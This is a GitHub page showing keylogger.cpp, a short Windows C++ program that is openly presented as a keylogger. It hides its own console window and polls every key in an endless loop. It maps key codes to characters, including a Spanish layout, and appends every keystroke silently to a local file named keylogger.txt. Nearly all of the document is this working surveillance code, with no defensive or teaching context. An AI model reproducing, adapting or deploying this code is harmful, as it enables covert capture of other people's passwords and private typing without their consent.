-
Notifications
You must be signed in to change notification settings - Fork 0
Expand file tree
/
Copy pathkeylogger.cpp
More file actions
176 lines (165 loc) · 5.87 KB
/
keylogger.cpp
File metadata and controls
176 lines (165 loc) · 5.87 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
/* $$\ $$\ $$$$$$$$\ $$\ $$\ $$\ $$$$$$\ $$$$$$\ $$$$$$\ $$$$$$$$\ $$$$$$$\
$$ | $$ |$$ _____|\$$\ $$ |$$ | $$ __$$\ $$ __$$\ $$ __$$\ $$ _____|$$ __$$\
$$ |$$ / $$ | \$$\ $$ / $$ | $$ / $$ |$$ / \__|$$ / \__|$$ | $$ | $$ |
$$$$$ / $$$$$\ \$$$$ / $$ | $$ | $$ |$$ |$$$$\ $$ |$$$$\ $$$$$\ $$$$$$$ |
$$ $$< $$ __| \$$ / $$ | $$ | $$ |$$ |\_$$ |$$ |\_$$ |$$ __| $$ __$$<
$$ |\$$\ $$ | $$ | $$ | $$ | $$ |$$ | $$ |$$ | $$ |$$ | $$ | $$ |
$$ | \$$\ $$$$$$$$\ $$ | $$$$$$$$\ $$$$$$ |\$$$$$$ |\$$$$$$ |$$$$$$$$\ $$ | $$ |
\__| \__|\________| \__| \________| \______/ \______/ \______/ \________|\__| \__| */
#define _WIN32_WINNT 0x0500 //getConsoleWindow()
#include <iostream>
#include <string>
#include <map> //Array asociativo
#include <windows.h>
using namespace std;
int main()
{
/*
Associative array. the key is the decimal number and the value the character it represents.
*/
map<int, string> ch;
ch[1] = " [mouse click] ";
ch[2] = " [mouse menu context] ";
ch[8] = " [Backspace] ";
ch[9] = " [Tab] ";
ch[13] = " [Enter] ";
ch[16] = " [Shift] ";
ch[17] = " [Control] ";
ch[18] = " [Alt] ";
ch[20] = " [Caps LOCK] ";
ch[27] = " [Esc] ";
ch[32] = " ";
ch[37] = " [Left arrow] ";
ch[38] = " [Up arrow] ";
ch[39] = " [Right arrow] ";
ch[40] = " [Down arrow] ";
ch[44] = " [Print Screen] ";
ch[45] = " [Insert] ";
ch[46] = " [Delete] ";
ch[48] = "0";
ch[49] = "1";
ch[50] = "2";
ch[51] = "3";
ch[52] = "4";
ch[53] = "5";
ch[54] = "6";
ch[55] = "7";
ch[56] = "8";
ch[57] = "9";
ch[65] = "a";
ch[66] = "b";
ch[67] = "c";
ch[68] = "d";
ch[69] = "e";
ch[70] = "f";
ch[71] = "g";
ch[72] = "h";
ch[73] = "i";
ch[74] = "j";
ch[75] = "k";
ch[76] = "l";
ch[77] = "m";
ch[78] = "n";
ch[79] = "o";
ch[80] = "p";
ch[81] = "q";
ch[82] = "r";
ch[83] = "s";
ch[84] = "t";
ch[85] = "u";
ch[86] = "v";
ch[87] = "w";
ch[88] = "x";
ch[89] = "y";
ch[90] = "z";
ch[91] = " [Menu Windows] ";
ch[96] = "0";
ch[97] = "1";
ch[98] = "2";
ch[99] = "3";
ch[100] = "4";
ch[101] = "5";
ch[102] = "6";
ch[103] = "7";
ch[104] = "8";
ch[105] = "9";
ch[106] = "*";
ch[107] = "+";
ch[109] = "-";
ch[110] = ".";
ch[111] = "/";
ch[112] = " [F1] ";
ch[113] = " [F2] ";
ch[114] = " [F3] ";
ch[115] = " [F4] ";
ch[116] = " [F5] ";
ch[117] = " [F6] ";
ch[118] = " [F7] ";
ch[119] = " [F8] ";
ch[120] = " [F9] ";
ch[121] = " [F10] ";
ch[122] = " [F11] ";
ch[123] = " [F12] ";
ch[144] = " [ Num Lock ] ";
ch[145] = " [Scroll Lock] ";
ch[186] = "`";
ch[187] = "+";
ch[188] = ",";
ch[189] = "-";
ch[190] = ".";
ch[191] = "ç";
ch[192] = "ñ";
ch[219] = "'";
ch[220] = "º";
ch[221] = "¡";
ch[222] = "´";
ch[226] = "<";
/* Handler for a file where the keystrokes will be saved */
FILE *log;
/* Variable to create a line break every 50 characters */
int count = 1;
/* Hide the console */
HWND hWnd = GetConsoleWindow();
/*0 = hidden; 1 = visible */
ShowWindow(hWnd, 0);
/*Infinite loop to detect keystrokes */
while (true)
{
/*Go through the number of characters in the ASCII table that are 255 */
for (int c = 0; c < 256; c++)
{
/* If a key is pressed */
if (GetAsyncKeyState(c) == -32767)
{
/* Open the file */
// a –---> Opens a file in append mode. It returns null if file couldn’t be opened.
log = fopen("keylogger.txt", "a");
/* If count is equal to 50 include a line break in the file */
if (count == 50)
{
fputs("\n", log);
count = 1;
}
/* Write the character of the pressed key to the file*/
fputs(ch[c].c_str(), log);
/* Close the file */
fclose(log);
/* Increase the value of count by one */
count++;
}
}
}
system("PAUSE");
return 0;
}
/* _______________________________________________________________________
| $$$$$$\ $$$$$$\ $$$$$$$\ $$$$$$$$\ $$$$$$$\ $$\ $$\ |
| $$ __$$\ $$ __$$\ $$ __$$\ $$ _____|$$ __$$\ $$ | $$ | |
| $$ / \__|$$ / $$ |$$ | $$ |$$ | $$ | $$ | \$$\ $$ | |
| $$ | $$ | $$ |$$ | $$ |$$$$$\ $$$$$$$ | \$$$$ / |
| $$ | $$ | $$ |$$ | $$ |$$ __| $$ __$$< $$ $$< |
| $$ | $$\ $$ | $$ |$$ | $$ |$$ | $$ | $$ | $$ /\$$\ |
| \$$$$$$ | $$$$$$ |$$$$$$$ |$$$$$$$$\ $$ | $$ | $$ / $$ | |
| \______/ \______/ \_______/ \________|\__| \__|$$$$$$\ \__| \__| |
| \______| |
|_______________________________________________________________________| */